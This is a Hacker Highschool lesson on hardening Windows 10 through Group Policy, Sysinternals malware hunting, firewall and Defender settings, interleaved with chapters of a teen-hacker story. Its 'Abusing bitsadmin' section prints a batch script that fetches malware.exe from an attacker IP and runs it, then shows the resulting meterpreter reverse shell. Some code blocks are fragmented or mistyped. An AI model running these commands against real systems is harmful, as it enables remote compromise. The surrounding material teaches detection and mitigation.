The pink and yellow dressed woman told Jace, “now the police can put cuffs on you and put your ‘hacker’ self in jail where hackers belong.”

**Game continues...**
7. Network Security

Using insecure network authentication methods may permit an adversary to gain unauthorized access to network traffic and services. To prevent the risk Disable NTLM v1, Enable Encryption for Kerberos and set up Minimum Session Security for both NTLM SSP based clients and servers (including secure RPC), Disable storing LMHash, Disable NetBios over TCP/IP (Which is not working for IPv6) and Disable File and Printer Sharing.

To Disable NTLM v1 In Group Policy:

Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options

<table>
<thead>
<tr>
<th>Network security: LAN Manager authentication level</th>
<th>Send NTLMv2 response only.</th>
</tr>
</thead>
<tbody>
<tr>
<td>Enable NTLM v2 Only</td>
<td>Refuse LM &amp; NTLM</td>
</tr>
</tbody>
</table>

Enable NTLM v2 Only
To Enable Encryption for Kerberos and make Minimum Session Security for both NTLM SSP based clients and servers (including secure RPC), configure the following setting in group policy.

**Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options**

| Network security: Configure encryption types allowed for Kerberos | AES128_HMAC_SHA1  
| | AES256_HMAC_SHA1 |
| Network security: Minimum session security for NTLM SSP based (including secure RPC) clients | Require NTLMv2 session  
| security |
| | Require 128-bit encryption |
| Network security: Minimum session security for NTLM SSP based (including secure RPC) servers | Require NTLMv2 session  
| security |
| | Require 128-bit encryption |

To Disable storing LMHash:

**Computer Configuration\Policies\Windows Settings\Security Settings\Local Policies\Security Options**

| Network security: Do not store LAN Manager hash value on next password change | Enabled |

Letting users share files from their workstations can result in a lack of appropriate access controls being applied to sensitive information.

**Note**: Preventing users from sharing their files and printers will not affect their ability to access shared drives and printers on a network.

To Disable File and Printer Sharing in Group Policy

**Computer Configuration\Policies\Administrative Templates\Windows Components\HomeGroup**

<table>
<thead>
<tr>
<th>Setting</th>
<th>State</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>Prevent the computer from joining a homegroup</td>
<td>Enabled</td>
<td>No</td>
</tr>
</tbody>
</table>

**User Configurations\Policies\Administrative Templates\Windows Components\Network Sharing**
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Prevent users from sharing files within their profile. Enabled

8. Disable WSL

According to Wikipedia, **Windows Subsystem for Linux (WSL)** is a compatibility layer for running Linux binary executables (in ELF format) natively on Windows 10 and Windows Server 2019. Yet enabling WSL without needing it or without a proper configuration may leak sensitive information or be used by an adversary to compromise a machine.

To remove the WSL feature: type “appwiz.cpl” in the **Run box** > ‘Turn Windows features on or off’ and remove check of ‘Windows Subsystem for Linux' feature.
9. Turn off "Autoplay"

We prevent any program from Autoplay to stop autorun malicious software.

To turn off Autoplay: In group policy

**Computer Configuration\Policies\Administrative Templates\Windows Components\AutoPlay Policies**

<table>
<thead>
<tr>
<th>Setting</th>
<th>State</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>Turn off Autoplay</td>
<td>Enabled</td>
<td>No</td>
</tr>
<tr>
<td>Prevent AutoPlay from remembering user choices</td>
<td>Enabled</td>
<td>No</td>
</tr>
<tr>
<td>Disallow Autoplay for non-volume devices</td>
<td>Enabled</td>
<td></td>
</tr>
<tr>
<td>Set the default behavior for AutoRun</td>
<td>Enabled</td>
<td></td>
</tr>
<tr>
<td>Default AutoRun Behavior: Do not execute any autorun commands</td>
<td></td>
<td></td>
</tr>
<tr>
<td>Turn off Autoplay on: All drives</td>
<td>Enabled</td>
<td></td>
</tr>
<tr>
<td>Prevent AutoPlay from remembering user choices</td>
<td>Enabled</td>
<td></td>
</tr>
</tbody>
</table>
10. Turn off CD Burner access

Prevented users from burning data.
To disable CD Burning features:
User Configuration\Policies\Administrative Templates\Windows Components\File Explorer

<table>
<thead>
<tr>
<th>Remove CD Burning features</th>
<th>Enabled</th>
</tr>
</thead>
</table>

11. Prohibit executing from removable drives

We prohibited any program executing from all endpoint drives to prevent some malicious attacks, using bad USB, for instance. If a business doesn’t need any external or attached endpoint devices then the devices should be completely disabled.
To prohibit executable files from launching on all endpoint devices:

Computer Configuration\Policies\Administrative Templates\System\Removable Storage Access

<table>
<thead>
<tr>
<th>CD and DVD: Deny execute access</th>
<th>Enabled</th>
</tr>
</thead>
<tbody>
<tr>
<td>Floppy Drives: Deny execute access</td>
<td>Enabled</td>
</tr>
<tr>
<td>Removable Disks: Deny execute access</td>
<td>Enabled</td>
</tr>
<tr>
<td>Tape Drives: Deny execute access</td>
<td>Enabled</td>
</tr>
</tbody>
</table>
12. Disable Legacy and run once lists in purpose to protect creating Task Schedule

A malicious program might use this to make a Task Schedule. We prevented the use of “Legacy” and “run once”.

To Disable these: In Group Policy

**Computer Configuration\Policies\Administrative Templates\System\Logon**

<table>
<thead>
<tr>
<th>Setting</th>
<th>State</th>
<th>Comment</th>
</tr>
</thead>
<tbody>
<tr>
<td>Do not process the legacy run list</td>
<td>Enabled</td>
<td></td>
</tr>
<tr>
<td>Do not process the run once list</td>
<td>Enabled</td>
<td></td>
</tr>
<tr>
<td>Run these programs at user logon</td>
<td>Disabled</td>
<td></td>
</tr>
</tbody>
</table>
13. Disable SafeMode for Non Admin

If an adversary can boot into Microsoft Windows using Safe Mode, Safe Mode with Networking or Safe Mode with Command Prompt options with a standard user credentials they may be able to bypass system protection. Prevent users from booting into the systems using Safe Mode.

To prevent Windows “Safe Mode” booting use Registry editing create a registry value “SafeModeBlockNonAdmins” and set the value to “1” under the following path:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System

<table>
<thead>
<tr>
<th>SafeModeBlockNonAdmins</th>
<th>REG_DWORD 0x00000001 (1)</th>
</tr>
</thead>
</table>

14. Disable Web search in Search and Disable Cortana

Microsoft Windows 10 has a built-in search function which allows users to search the web automatically and it may accidentally disclose sensitive information or sensitive terms. We disable the web search function.

To disable it: in Group policy
Computer Configuration\Policies\Administrative Templates\Windows Components\Search

<table>
<thead>
<tr>
<th>Allow Cortana</th>
<th>Disabled</th>
</tr>
</thead>
<tbody>
<tr>
<td>Don’t search the web or display web results in Search</td>
<td>Enabled</td>
</tr>
</tbody>
</table>

15. Disable command prompt, Remote Shell Access, Registry Access, Allow only signed Powershell Executing and Protect Group Policy Settings

The command prompt, Powershell, remote shell, registry and group policy settings let an adversary run remote execution, change security settings and so on. We lock down all access and only allow for signed Powershell executing in order to reduce risk.

Disabling Command Prompt:

User Configuration\Policies\Administrative Templates\System

<table>
<thead>
<tr>
<th>Prevent access to the command prompt</th>
<th>Enabled</th>
</tr>
</thead>
<tbody>
<tr>
<td>Disable the command prompt</td>
<td></td>
</tr>
</tbody>
</table>
Disabling Remote Shell Access:

Computer Configuration\Policies\Administrative Templates\Windows Components\Windows Remote Shell

<table>
<thead>
<tr>
<th>Allow Remote Shell Access</th>
<th>Disabled</th>
</tr>
</thead>
</table>

Disable Registry Access:

User Configuration\Policies\Administrative Templates\System

<table>
<thead>
<tr>
<th>Prevent access to registry editing tools</th>
<th>Enabled</th>
</tr>
</thead>
<tbody>
<tr>
<td>Disable regedit from running silently:</td>
<td>Yes</td>
</tr>
</tbody>
</table>
Allow only signed Powershell Execution:

**Computer Configuration\Policies\Administrative Templates\Windows Components\Windows PowerShell**

<table>
<thead>
<tr>
<th>Setting</th>
<th>Status</th>
</tr>
</thead>
<tbody>
<tr>
<td>Turn on PowerShell Script Block Logging</td>
<td>Enabled</td>
</tr>
<tr>
<td>Turn on Script Execution</td>
<td>Enabled</td>
</tr>
<tr>
<td>Execution Policy: Allow only signed scripts</td>
<td></td>
</tr>
</tbody>
</table>
Lesson 14: Defending Windows 10

Protect Group Policy Settings:

**Computer Configuration\Policies\Administrative Templates\Network\Network Provider**

<table>
<thead>
<tr>
<th>Hardened UNC Paths</th>
<th>Enabled</th>
</tr>
</thead>
</table>

**Hardened UNC Paths:**

- `\*\SYSVOL`
  - `RequireMutualAuthentication=1, RequireIntegrity=1`

- `\*\NETLOGON`
  - `RequireMutualAuthentication=1, RequireIntegrity=1`
Game On: Summer of Grief – Part 7

Jace had to ask, just because she is Jace, “want to tell me what the charges are? What exactly are the police going to arrest me for?” She continued to laugh at the absurdity of the events.

The four competition officials stopped walking away and almost in unison replied, “Hacking. You are going to jail for hacking.”

Jace burst out in more laughter, “hacking isn’t illegal. There is no law against hacking. Do any of you know the law?”

As sarcastically as they possibly could, two of the officials responded with, “Yes, hacking IS ILLEGAL. We forbid hacking at any of our events and it is in fact illegal.”

The teen cleared her face of the humor and straightened herself up as best she could. She turned to the police officer not on the phone and asked, “Sir, is hacking illegal.”

The younger policeman fiddled with his police cap, looked at the officials with dread, looked back at his boss on the phone, looked down at his polished black shoes and said, “No, there is no law against hacking. She is right. Unless she did something else wrong, we can’t do anything besides escort her out of the event.”

This wasn’t what the adult officials expected to hear. Each of the four roared with more accusations, more disapproval of hacking, more vulgar distaste for anything related to hacking and Jace herself.

Jace smiled, wanting to laugh even more, she just smiled and looked for her phone. The senior police officer approached the younger officer and whispered something into his ear.

Both nodded.

The competition officials were asking the police to arrest Jace and haul her off to jail. The older police officer closed the phone and handed it back to the teen. He gave a quick glance at Jace then turned to face the accusing adults.

“Jace is free to go once we get her statement. You four are not free to go. We have Cyber Crimes unit and Special Victims unit coming right now. Please remain where you are. Nobody is allowed to enter or leave this facility at this time. Except for this teen once we get her statement.”

Jace felt as if she had been kicked in the gut. The reality of the situation dawned on her. She asked the officer, “is this about the cameras.”
“Yes, the cameras. We need to interview you, secure this facility, and collect the evidence you found,” he pronounced loud enough that anyone within 10 meters could hear him.

Three more police cars pulled up onto the sidewalk next to them. As Jace slipped a bit to the side to avoid the fast approaching police vehicles and saw several unmarked cars with blue flashing lights approach the front entrance.

Amad was coming out of the front door as well as the rest of her team being escorted by competition officials. Jace waved over to catch their eye. She told the police officer, “Amad was with me. He saw the cameras too,” as she pointed to her perplexed teammates.

The teen considered carefully that she could only trust Amad because she didn’t know about any of the other teammates or who could have installed the hidden cameras.

The senior police officer motioned to the escorted team to let Amad come join Jace for the interview. Police officers poured into the civic center, each one with a specific task to perform. With four competition officials perplexed and confused, they demanded an answer.

A police captain with three people in suits and with badges approached the four complaining adults and signaled for them to follow the police back inside the civic center.

A sickness overcame Jace, she felt like vomiting. “This isn’t good,” she told herself. A well-dressed women came over to greet Jace, her police badge dangled outside of her suit jacket.

“Hi Jace, I’m Marla with the police. Let’s go and talk a bit. Are you hurt? Are you ok? How do you feel? Did anyone touch you? Please, tell me what happened. Do you mind if I take notes?”

The questions ran together into almost one long sentence as Jace found herself in shock. The same feelings she had when she discovered the camera fell upon her again; anger, rage, violated, conned, betrayed.

Amad approached Jace from the other side of Marla. Instinctively Jace balled up her fist and punched Amad in the belly. The police officer stepped in between the two with her arm separating Jace from the male teen. He winced slightly because Jace did not put all of her effort into the punch. He knew it was her way of releasing those emotions.

Jace pulled back and said, “I’m so pissed off right now. I had to hit or break something. Sorry it had to be you.”
Amad replied, “oh, that didn’t hurt because you hit like a girl.”

The teen snorted out a laugh. It was one of her most embarrassing traits. Amad approached Jace and gave her a shoulder hug with one arm. Jace thought she felt something in her back pocket, maybe his hand so she pulled away.

She said, “I’m not much of a hugger.”

Marla straighten out her jacket and found a quiet area for her to talk with Jace and Amad.

The interview lasted two hours and included her walking the police detective through each step she remembered taking to find the cameras.

Officer Hank finally arrived near the end as the Cyber Crime unit was coming toward the bathroom. Jace really wanted to see what tools they had in their black nylon bags and the laptop they carried. Hank told her that he’d arrange a ‘show and tell’ with them at some other time. He said, “let’s get you home.”

Without having a chance to say anything else to Amad or her teammates, she found herself in the front seat of Hank’s police car heading home.

The sun was directly in their eyes the whole way back to her apartment. Every so often Hank would look over at Jace, wanting to say something to make her feel better but he didn’t know what to say to a teenager, an angry teenager.

Once they arrived at her apartment complex, Jace thanked Hank for the ride, not sarcastically, just a polite, “thank you,” with her head held low.

She found her way up to the 3rd floor apartment, entered, headed straight for her room, saw the comfort of her bed and decompressed on her pillow.

The teen woke up just as the summer sun was setting. As she sat up, she felt a pinch in her back pocket. It was a USB stick wrapped in a piece of paper.

The paper said, “Found the attacker, this is his USB stick, Amad”.

Game continues...
Step Three - Malware Hunting

During the hardening process we should get more details of the running services. Windows sysinternals tools can assist with this. In this case: Process Explorer, TCP View, Autoruns.

Brief scenario: The windows 10 Machine is infected with malware which is bound to the communication program called “putty.exe” which is run at the startup. There’s also a scheduled task which runs the application. Once the application is run by the scheduled task and/or at the startup it allows the attacker to connect its bind command shell via the port 9000 and the attacker will get the command prompt access of the windows 10 machine.

Screenshots:

```
starry@Athena:~$ sudo nmap -sS 10.1.1.4 -PN -p 9000
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-22 00:36 +0630
Nmap scan report for 10.1.1.4
Host is up (0.0017s latency).
PORT    STATE SERVICE
9000/tcp closed cslistener
MAC Address: 00:0C:29:4A:B9:D5 (VMware)
```

The port 9000 is closed by default before the scheduled task is run.

```
starry@Athena:~$ sudo nmap -sS 10.1.1.4 -PN -p 9000
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-22 00:37 +0630
Nmap scan report for 10.1.1.4
Host is up (0.0015s latency).
PORT    STATE SERVICE
9000/tcp open    cslistener
MAC Address: 00:0C:29:4A:B9:D5 (VMware)
```

Once the putty.exe is run, it opens port 9000 with bound shell. The attacker gets the command shell access of the windows 10 machine via the port 9000.
So, let’s check the processes using “Process Explorer”, which is similar to windows’ “Task Manager”. Almost no process can be hidden from “Process Explorer”. It can detect threads, loaded dlls, network connections and autostart locations.

```
C:\Windows\system32>whoami
whoami
msedgewin10\systemd
C:\Windows\system32>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0:
  Connection-specific DNS Suffix . : local
  Link-local IPv6 Address . . . . . . : fe80::dd7e:905e:9aa3:bf0c%8
  IPv4 Address . . . . . . . . . . . . : 10.1.1.4
  Subnet Mask . . . . . . . . . . . . . : 255.255.255.248
  Default Gateway . . . . . . . . . . : 10.1.1.1
```

On the windows side:

`procexp.exe`

`SysinternalsTools > Process Utilities > Process Explorer`

Right-click on procexp.exe and choose “Run as Administrator”
You can download the Microsoft Sysinternals Tools here: https://docs.microsoft.com/en-us/sysinternals/

And go Options > Verify Image Signatures
Lesson 14: Defending Windows 10

Options > Virus Total.com > Check Virus Total.com

Check winint.exe or some other Process displayed ‘Microsoft Corporation’ Under Company Name.

The process title: Company Name shows the company name of the process, VirusTotal results the status of the process checked by virustotal.com to know if it’s detected as malware. Verified Signer shows if the process is signed by a known vendor or is legit software of the developing company.

In this scenario there’s a running process called “putty.exe” which is detected as a malicious software by 43 anti-virus engines out of 69 engines of VirusTotal.com.
Double click on the ‘putty.exe’ and choose ‘Image’ tab in the properties box of the putty.exe process. You will see these comments:

- (No signature was present in the subject) Simon Tatham
Lesson 14: Defending Windows 10

- Current directory: C:\Windows\System32\
- Autostart Location: Task Scheduler\networkconnect
- VirusTotal: 43/69

**Putty** is a communication tool that connects to remote machines using protocols like telnet, ssh and so on.

- It is a portable app and shouldn’t be in the directory of C:\Windows\System32
- It should not be autostarted by a task scheduler
- It should not be detected as a malware by virustotal.com.
Next go to the TCP/IP tab to view if it’s connected to or connected back to somewhere else. And it shows:

- Local Address: msedgewin10.lan:9000
- Remote Address: athena.lan:48246
- State: ESTABLISHED

Meaning: The connection is ESTABLISHED from the Remote machine “Athena” via its remote port “48246” to our Local Windows 10 Machine “MSEDGEWIN10” via the local port “9000”.

![TCP/IP Connection](image.png)
Lesson 14: Defending Windows 10

View > Lower Pane View > Check DLLs and Handles to check the DLL and Handles of the running process.

**DLLs of the process**
Handle of the Process

The handle of the process shows that the putty.exe has Thread using cmd.exe.

Tcpview.exe

Launch "TCPVIEW" to check the network status of listening, established ports and their services.

SysinternalTools > NetworkingUtilities > TCPVIEW: double click on the Tcpview.exe
You will see the putty.exe running on PID 1436 (which will be different on your machine) as the TCP protocol, its Local Address is 192.168.99.5 with Local Port 9000. The connection State is ESTABLISHED by the Remote Address 192.168.99.51 and Remote Port 48246.

Go Options > Resolve Addresses: to resolve the IP Addresses to the hostname.
Autoruns.exe

We are using Autoruns.exe to detect if there are processes auto running at the startup or by scheduled tasks or under any circumstances.

**SysinternalTools > ProcessUtilities > Autoruns:** right-click Autoruns.exe and choose “Run as Administrator”
Options > Scan Options and check “Verify code signatures” and “Check VirusTotal.com” and Click “Rescan”

We will see “putty.exe” is under:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup

There’s a batch file called “task.bat” which seems to be the batch file created by the scheduled task.

Note: Press Win + R and type `shell:common startup` to get you to the startup folder.
Go to logon Tab: right-click on the process and click on “Jump to Entry” which will get you the registry Entry and “Jump to Image” will get you the current location of the process.

The location of the process “putty.exe”
Step Four - Firewall, Windows Defender and Exploit Protection

We need to setup basic firewall rules which will deny all inbound traffic, allow outbound, logging, update Windows Defender, setup anti-Ransomware configuration, DEP, ASLR and SHO protection in Windows Defender.

Firewall Settings

Windows + R > type ‘control’

Control Panel > Windows Defender Firewall > Turn Windows Defender Firewall on or off

Turn on windows defender firewall for both Public and Private Settings and check in both lists:

- Block all incoming connections, including those in the list of allowed apps
- Notify me when Windows Defender Firewall blocks a new app
Lesson 14: Defending Windows 10

Customize settings for each type of network

You can modify the firewall settings for each type of network that you use.

Private network settings
- Turn on Windows Defender Firewall
- Block all incoming connections, including those in the list of allowed apps
- Notify me when Windows Defender Firewall blocks a new app
- Turn off Windows Defender Firewall (not recommended)

Public network settings
- Turn on Windows Defender Firewall
- Block all incoming connections, including those in the list of allowed apps
- Notify me when Windows Defender Firewall blocks a new app
- Turn off Windows Defender Firewall (not recommended)

To setup firewall logging settings:

2. Click on the "Action" tab.
3. Choose a profile.
4. Define logging.
Example screenshot of logging for the dropped packets.
Lesson 14: Defending Windows 10

Windows Defender

Windows Defender settings
  System settings

Apps

Windows Defender Security Center

Windows Defender Firewall with Advanced Security

Settings

Windows Defender Security Center

Windows Defender Firewall

Firewall & network protection

Virus & threat protection

App & browser control

Core isolation

Search suggestions

windows Defender - See web results

windows Defender settings
Lesson 14: Defending Windows 10

Update the Virus Definition

- **Virus & threat protection**
  View threat history, scan for viruses and other threats, specify protection settings, and get protection updates.

- **Threat history**
  Last scan: 1/1/2019 (quick scan)
  0 Threats found | 23302 Files scanned

  - Scan now
  - Run a new advanced scan

- **Virus & threat protection settings**
  No action needed.

- **Virus & threat protection updates**
  Protection definitions are out of date.
  - Check for updates

  - Update

- **Ransomware protection**
  No action needed.

  - Click to configure

Turn On Ransomware Protection

- **Ransomware protection**
  Protect your files against threats like ransomware, and see how to restore files in case of an attack.

  **Controlled folder access**
  Protect files, folders, and memory areas on your device from unauthorized changes by unfriendly applications.

  - On
  - If you wanna add more protected folders

  - Allow an app through Controlled folder access
  - If you wanna remove a folder from control access

- **Ransomware data recovery**
  You may be able to recover files in these accounts in case of a ransomware attack.

  - Set up OneDrive for file recovery options in case of a ransomware attack.

  - Set up OneDrive
Lesson 14: Defending Windows 10

**Turn On Exploit Protection**

- App & browser control
- Device security
- Device performance & health
- Family options

---

**SmartScreen for Microsoft Store apps**

Windows Defender SmartScreen protects your device by checking web content that Microsoft Store apps use.

- Warn
- Off

Privacy statement

**Exploit protection**

Exploit protection is built into Windows 10 to help protect your device against attacks. Out of the box, your device is already set up with the protection settings that work best for most people.

- Exploit protection settings
- Privacy statement
- Learn more
Lesson 14: Defending Windows 10

Turn on all Exploit Protection System settings

Exploit protection

See the Exploit protection settings for your system and programs. You can customize the settings you want.

System settings

Data Execution Prevention (DEP)
Prevents code from being run from data-only memory pages.

Use default (On)  

This change requires you to restart your device.

Force randomization for images (Mandatory ASLR)
Force relocation of images not compiled with /DYNAMICBASE

Use default (Off)  

This change requires you to restart your device.

Randomize memory allocations (Bottom-up ASLR)
Randomize locations for virtual memory allocations.

Use default (On)  

This change requires you to restart your device.

High-entropy ASLR
Increase entropy of heap and stack data for virtual memory allocations (Option: use ASLR)
Update the Security Patches

Last but not least we update the system with windows security patches. Additionally, we configure the secure boot settings which is to prevent threats like rootkits. Finally, we reduce the privilege level of the current user account and make a local admin account or if on a domain, make a domain account with local administrator privilege.

Update the windows security patches:

**Settings > Update & Security**
Lesson 14: Defending Windows 10

To setup secure boot:

Settings > Update & Security > Recovery > Restart

It will get you some options to choose.
Select ‘Troubleshoot’ on the screen.

Select ‘Advance options’ on the screen.
Select ‘UEFI Firmware Settings’ on the screen

The system will restart and boot to a different BIOS setting. Click on the security tab under the BIOS settings, choose the secure boot and change the secure boot to **Enabled** to enable the Secure boot.

Note: This will only available on UEFI supported Motherboards

**Reduce Privilege of the current user**

**Users** should not be allowed to have Administrative privilege. Reduce the user’s privilege to ‘user’, make a new account and add it to the local administrators group. If you have a domain controller, we suggest you make a domain user account and add it to the local administrators group.
Feed Your Head: What Is Bitsadmin

Background Intelligent Transfer Service Admin is a command-line tool that can be used to create, download or upload jobs to HTTP web servers and SMB file shares; set and retrieve the properties of a job; and monitor the status of the jobs. It can handle network interruptions, pausing and automatically resume transfers, even after a reboot. The bitsadmin tool uses switches to identify the work to perform without impacting the user’s foreground activities.

Many of the switches correspond to methods in the BITS interfaces as it used in a background CopyJob as its interface by the time it was released with the Windows XP. BITSAdmin is a pre-installed tool and available on all versions of Windows and Windows Servers. It is most commonly used by both Microsoft and Non-Microsoft applications for fetching / synchronization / uploading files and available to be used in both command-line or PowerShell cmdlet.

For more details of switches:

Download/Copy a file locally.

There are tasks to complete:

Create a download job > Add the file to ‘download/copy’ to the created job > Activate the download job > Complete the download job.

Create a download job:
Use the ‘/create’ switch to create a download job named hhs.
Lesson 14: Defending Windows 10

```
bbitsadmin /create hhs:

C:\Users\HP>bbitsadmin /create hhs

BITSAdmin version 3.0 [ 7.5.7601 ]
BITS administration utility.
(C) Copyright 2000-2006 Microsoft Corp.

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.

Created job <784A435D-0100-46C5-4FC8-1446D74B7518>.
C:\Users\HP>

Note: BITSAdmin returns a GUID that uniquely identifies the job. Use the GUID or job name in subsequent calls.

Add the file to transfer to the download job:

Use the '/addfile' switch to add a file to the job. Repeat this call for each file you want to add.

bbitsadmin /addfile hhs
https://www.hackerhighschool.org/lessons/HHS_mm1_Being_a_Hacker.v2.pdf c:\hhs-lesson1.pdf

C:\Users\HP>bbitsadmin /addfile hhs https://www.hackerhighschool.org/lessons/HHS_mm1_Being_a_Hacker.v2.pdf c:\hhs-lesson1.pdf

BITSAdmin version 3.0 [ 7.5.7601 ]
BITS administration utility.
(C) Copyright 2000-2006 Microsoft Corp.

BITSAdmin is deprecated and is not guaranteed to be available in future versions of Windows.
Administrative tools for the BITS service are now provided by BITS PowerShell cmdlets.

Added https://www.hackerhighschool.org/lessons/HHS_mm1_Being_a_Hacker.v2.pdf to job.
C:\Users\HP>
```
Monitoring Jobs in transfer queue

Before you activate the job use the ‘list’, ‘/monitor’, or ‘/info’ switches to monitor jobs in the transfer queue. The ‘/list’ switch provides information for all jobs in the queue to check the progress status.

bitsadmin /monitor hhs:

![Monitoring Jobs in transfer queue](image1)

downloaded file size

Activate the Job

When you create a new job, BITS suspends the job. To activate the job in the transfer queue, use the ‘/resume’ switch.

bitsadmin /resume hhs:

![Activate the Job](image2)
Completing the Job

When the state of the job is ‘TRANSFERRED’ you know BITS has successfully, transferred all files in the job. However, the files are not available until you use the ‘/complete’ switch.

```
bitsadmin /complete hhs:
```

One-liner usage

```
bitsadmin /create hhs | bitsadmin /transfer hhs
https://www.hackerhighschool.org/lessons/HHS_mm1_Being_a_Hacker.v2.pdf
c:\hhs-lesson1.pdf | bitsadmin /resume hackingarticles | bitsadmin
/complete hackingarticles
```

Download a file using ‘/transfer’ switch.

The /transfer switch is a shortcut for performing the tasks listed below. This switch creates the job, adds the files to the job, activates the job in the transfer queue, and completes the job.

```
bitsadmin /transfer hhs:
https://www.hackerhighschool.org/lessons/HHS_mm1_Being_a_Hacker.v2.pdf c:\hhs-
Lesson 14: Defending Windows 10

Using in Powershell Cmdlet

Import-Module BitsTransfer
mkdir -force c:\temp\BITSFILES
Start-BitsTransfer-Source https://www.hackerhighschool.org/lessons/HHS_en1_Being_a_Hacker.v2.pdf -Destination c:\temp\BITSFILES\WindowsServer2016.pdf

Abusing bitsadmin.exe

There’s an interesting bitsadmin switch ‘/setnotifycmdline’: Sets the command that will run when the job finishes transferring data or when a job enters a state.
Here, we are doing a demonstration of how someone can abuse the bitsadmin switch.

The ip address of Attacker’s (Kali Linux) box is – 192.168.99.251
The ip address of Victim (windows7) box is – 192.168.99.210

When the victim runs the bitsadmin using /setnotfycmdline switch in one-liner: The command will create a job to download the malicious executable from the attacker’s box, add the information from where the malware will be downloaded then executed once the download task is done. This causes the victim’s box to connect back to the attacker’s box using reverse shell connection. So, the attacker will have full shell access to the victim’s box.

**One-liner usage** to run bitsadmin to do all the tasks mentioned above.

```
```

Lastly, we still need to Activate the job.

```
bitsadmin /resume hhspentest
```

We can also, make a batch script to run the bitsadmin to download the malware and execute it.

**Batch script** of bitadmin-abuse.bat

```
@echo off
echo ”abusing bitsadmin”
bitsadmin.exe /reset
timeout 5
rmdir c:\hhspentest
mkdir c:\hhspentest
bitsadmin.exe /create hhspentest | bitsadmin.exe /addfile hhspentest
```

Run the script on the victim's computer:

```
http://192.168.99.251/malware.exe C:\hhspentest\malware.exe | bitsadmin.exe /SetNotifyCmdLine hhspentest cmd.exe"/c bitsadmin.exe /complete hhspentest | timeout 10 |start /B c:\hhspentest\malware.exe"

timeout 5

bitsadmin.exe /resume hhspentest

pause
```

![Command Prompt output](image)
The victim's box is compromised by the attacker.

```
[*] Started reverse TCP handler on 192.168.99.251:24731
[*] Sending stage (179779 bytes) to 192.168.99.218

meterpreter > shell
Process 3864 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.
C:\Windows\system32\whoami
whoami
sar\starry
C:\Windows\system32\ipconfig | less
ipconfig | less
'less' is not recognized as an internal or external command,
operable program or batch file.
C:\Windows\system32\ipconfig
ipconfig

Windows IP Configuration

Wireless LAN adapter Wireless Network Connection:
  Connection-specific DNS Suffix            : lan
  Link-Local IPv6 Address                  : fe80::6536:3e6a:3c47:ee8f%16
  IPv4 Address                            : 192.168.99.218
  Subnet Mask                             : 255.255.255.0
  Default Gateway                         : 192.168.99.1
```

**Detection**

As BITSAdmin is deployed as a service its status can be checked with the SC Query Utility.

**sc query bits**  BITSAdmin can also be detected using the monitor usage of bitsadmin: **bitsadmin /list /allusers /verbose**

**sc query bits**
Lesson 14: Defending Windows 10

```
bitsadmin /list /allusers /verbose
```

### Mitigation

```
GUID: {7C08F9F-B7E6-49A2-98F1-DE279B125C315} DISPLAY: 'hhs'
TYPE: INSTALLER OWNER: LAB\WIN7\LAB
GUID: {8153234F-75B3-4DFA-8F6A-17001B686615} DISPLAY: 'hhsptest'
TYPE: INSTALLER OWNER: LAB\WIN7\LAB
```

Creative Commons 3.0 Attribution-NonCommercial-NoDerivs 2012, ISECOM.
www.isecom.org • www.oissmm.org • www.hackerhighschool.org • www.badpeopleproject.org • www.oissmtraining.org
Mitigating the abuse of BITSAdmin:

- Filter network traffic by modifying network and/or host firewall rules, as well as other network controls to only allow legitimate BITS traffic.
- Reduce the default BITS job lifetime in Group Policy or
- Modify the registry by adding the “JobInactivityTimeout” and “MaxDownloadTime” Registry values located at:
  ```plaintext
  KEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS
  ```
  (The default maximum lifetime for a BITS job is 90 days.)
- Limit the access of the BITSAdmin interface to specific users or groups.
- Disabling cmd, powershell and remoteshell access are also the way to prevent the attacks of using the LotL bin tools (Living off the Land).

Mitigation Examples of using windows firewall:
When you download a file using BITS, your download is actually done by the svchoss.exe service. Here is just an example of blocking bitsadmin in windows firewall. But you need to DIY to figure out if it’s enough. Hint: When BITS downloads a file the actual download is done behind the svchost.exe service.

```plaintext
netsh advfirewall firewall add rule name="bitsadmin"
program=c:\windows\system32\bitsadmin.exe dir=out
action=block enable=yes remoteip=10.10.0.0/24 profile=private
```

**Reducing Default BITS Job**

Windows key + R and type gpedit.msc in the run:

**Computer Configuration \ Policies \ Administrative Templates \ Network \ Background Intelligent Transfer Service (BITS)**

<table>
<thead>
<tr>
<th>Timeout for inactive BITS jobs</th>
<th>Enabled</th>
</tr>
</thead>
<tbody>
<tr>
<td>Inactive Job Timeout in Day:</td>
<td>1</td>
</tr>
</tbody>
</table>
Game On: Summer of Grief – Part 8

Off the bed and on to the almost broken wooden chair, the teen fired up her computer into Windows 10. She created a VM for Parrot and a sandbox just for “USB1” and inserted the device.

Nothing happened.

“Whatever this thing is running it isn’t Linux,” she thought to herself.

Jace knew the rule of “Always test a USB device on a different operating system”. Opening up Explorer, Jace went to the device to look at the contents.

The device was formatted FAT32 with two partitions. The first partition had a inject.bin file, a hex file otherwise known as a “Ducky Script”. Commands in Ducky Script are capitalized so it was easy to read what the inject.bin file was supposed to do besides opening up PowerShell in Windows.

It was an old hack, going back years. Back to the days when Windows first started supporting CDROM drives. When you put a CDROM in a Windows computer, the user could have the CD play or autorun whatever was on the CD. Typically, it was music or AOL. The computer didn’t care what was on the CD, it just did what it was told.

As criminals learned how to manipulate this autorun Microsoft created ways to secure it. The first step was to no longer allow autorun and instead ask the user what they wanted to do with the inserted media. User Access Control (UAC) was created next to ask the user what they wanted to do when a new device or media was added to a Windows machine. This issue became CVE-2015-1769 or MS15-085, depending on how deep you want to read about it.

The problem was in two spots, the first was PowerShell that could be involved using a simple “powershell Start-Process cmd -Verb runAs” after the USB device was recognized by the computer.

Once a malicious device was plugged into a computer, the attacker would add a delay before any commands to ensure the machine recognized the new device. Which brings up the second problem called “Human Interface Device” or HID.

